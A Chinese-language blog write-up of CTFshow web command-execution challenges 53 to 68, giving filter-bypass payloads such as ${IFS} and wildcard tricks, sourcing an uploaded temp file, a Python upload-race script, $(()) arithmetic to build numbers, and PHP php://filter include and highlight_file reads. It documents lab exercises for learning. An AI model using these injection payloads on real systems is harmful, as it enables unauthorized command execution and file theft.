[CTFshow]Web命令执行章节之[53-68]笔记

前言

好,继续冲

图片[1],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

Web53

图片[2],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

过滤了很多,默认system输入的是返回值而不是结果值

?c=ta''c${IFS}fla?.php
图片[3],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

Web54

图片[4],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

过滤很多 tac被过滤了

但是cp和mv都没被过滤

?c=cp${IFS}fla?.php${IFS}t.txt

图片[5],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

Web55(熟悉掌握三种方法)

图片[6],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

看似过滤的少,实际上砍到大动脉了 因为过滤了a-z

方法一:

我们可以用来把flag.php的内容转为base64并且进行解码

过滤了a-z我们之间?代替 数字没被禁数字之外的用?等价代替

我们的命令本来是?c=/bin/base64 flag.php

转换后则是

?c=/???/????64 ????.???

解码即出

图片[7],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

方法二:

还有一种做法,就是使用 /usr/bin/bzip2 进行对文件的压缩

?c=/???/???/????2 ????.???

然后 最后访问 /flag.php.bz2进行下载压缩包

图片[8],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网
图片[9],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

方法三:

这个方法最逆天了

我们知道在linux中./你的文件名.后缀 是可以执行脚本文件的

然而这个靶没有过滤.和/ 我们就可以上传文件进行执行

制作一个POST表单

我们知道php上传文件会临时储存在/tmp/phpXXXXX里大都是时一共是八位数000

图片[10],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

代码:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://397b0d14-e767-4f60-be9d-4f74a60155d5.challenge.ctf.show/" method="post" enctype="multipart/form-data">
    <!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>
图片[11],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网
图片[12],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

我们进行抓包改数据

发送到重放器里

/?c=.%20/???/????????[@-[]
图片[13],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

ok拿flag

图片[14],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

Web56

图片[15],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

web56把0-9给过滤了

所以55的前两种方法都不能用 但是第三种逆天的方法是可以用的

/?c=.%20/???/????????[@-[]
图片[16],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

方法二:

python脚本 (ctfshow的wp)

把地址填成自己的 godyu.txt里面写cat flag.php

import time
import requests

url = "http://2721d06e-62f6-413e-a90c-79f6c9b21c60.challenge.ctf.show/"
payload = {"c":". /???/????????[@-[]"}


with open('.\\godyu.txt','r') as file:
    files = {'file': file}
    while 1:
        r = requests.post(url,params=payload,files=files)

        if r.text:
            print("\n" + r.text)
            break

        time.sleep(1)
        print(".", end=' ',flush=True)
图片[17],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

Web57

图片[18],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

过滤的更多了 但flag是在36.php

我们想办法弄出来36

这题可变态来着、

在linux里我们输出$(())

图片[19],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

所以$(())代表就是0

我们使用二进制取反如果是正数的话1取反得到0 0取反得到1

在二进制里计算二进制通常取消取反算原码补码什么的(可惜域是软工专业不是计算机专业)不过也了解一些底层原理

对于正整数,取反运算的结果是其本身加1的负数;对于负整数,取反运算的结果是其本身加1的绝对值;对于0,取反运算的结果是-1;对于-1,取反运算的结果是0。

图片[20],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

-0再次取反得-1

图片[21],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

在套娃

图片[22],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

在套娃

图片[23],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

我们放37个这个$(())这个玩意取反就能得到36

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
图片[24],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

打payload

图片[25],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网
图片[26],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

查看源代码就可以出

到这里域感觉都有点打不动的感觉哈哈,,,,

Web58

图片[27],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

别看传的少,后台禁止了很多函数

我们试一下phpinfo();

图片[28],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

被禁止了

system也被禁止了

方法一:

使用远程包含

c=include($_POST[1]);&1=php://filter/convert.base64-encode/resource=flag.php
图片[29],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

解码一下

图片[30],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

方法二:

读取文件

c=echo file_get_contents('flag.php');

查看一下源代码就出

图片[31],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

汗流浃背了

Web59

图片[32],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

跟上一题一样 但禁用的函数没有说

图片[33],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

file_get_contents函数已经被禁止了

但include没有禁止

c=include($_POST[1]);&1=php://filter/convert.base64-encode/resource=flag.php

继续打

图片[34],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

Web60

图片[35],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

与上关一样

c=highlight_file("flag.php");
c=include($_POST[1]);&1=php://filter/convert.base64-encode/resource=flag.php

都可以打通

图片[36],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

Web61

图片[37],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网
c=highlight_file("flag.php");

还是直接打通

图片[38],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

Web62

图片[39],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网
c=highlight_file("flag.php");

还是能打通

图片[40],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

Web63

图片[41],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

服了还是上关payload

c=highlight_file("flag.php");
图片[42],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

当然这几关远程包含或者其他方式都可以

c=show_source("flag.php");
图片[43],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

Web64

图片[44],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

上一关payload继续打

图片[45],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

Web65

图片[46],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

不会吧不会吧….家人们谁懂啊

上一关的继续打

图片[47],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

直接拿

Web66

图片[48],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

可以可以show_source被禁止了

图片[49],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

我们在看看

图片[50],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

反过来看题目给的提示

图片[51],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

看来是真被秀了一波

print_r回显 echo是不会显的

scandir读取/根目录以及子目录的信息

c=print_r(scandir("/"));
图片[52],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

好在秀一波吧

c=highlight_file("../../../../../flag.txt");
图片[53],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

Web67

图片[54],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

扣6

图片[55],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

查看目录发现print_r被禁止了

图片[56],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

不一定非得用print_r var_dump也可以使用

c=var_dump(scandir("/"));
图片[57],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

c=highlight_file('/flag.txt');
图片[58],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

Web68

图片[59],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

打开一看只有一句话

列目录

c=var_dump(scandir("/"));
图片[60],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

file_get_contents被禁用

图片[61],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

我们看看include

没被禁

c=include($_POST[1]);&1=php://filter/convert.base64-encode/resource=/flag.txt 
图片[62],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网

OK结束

------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容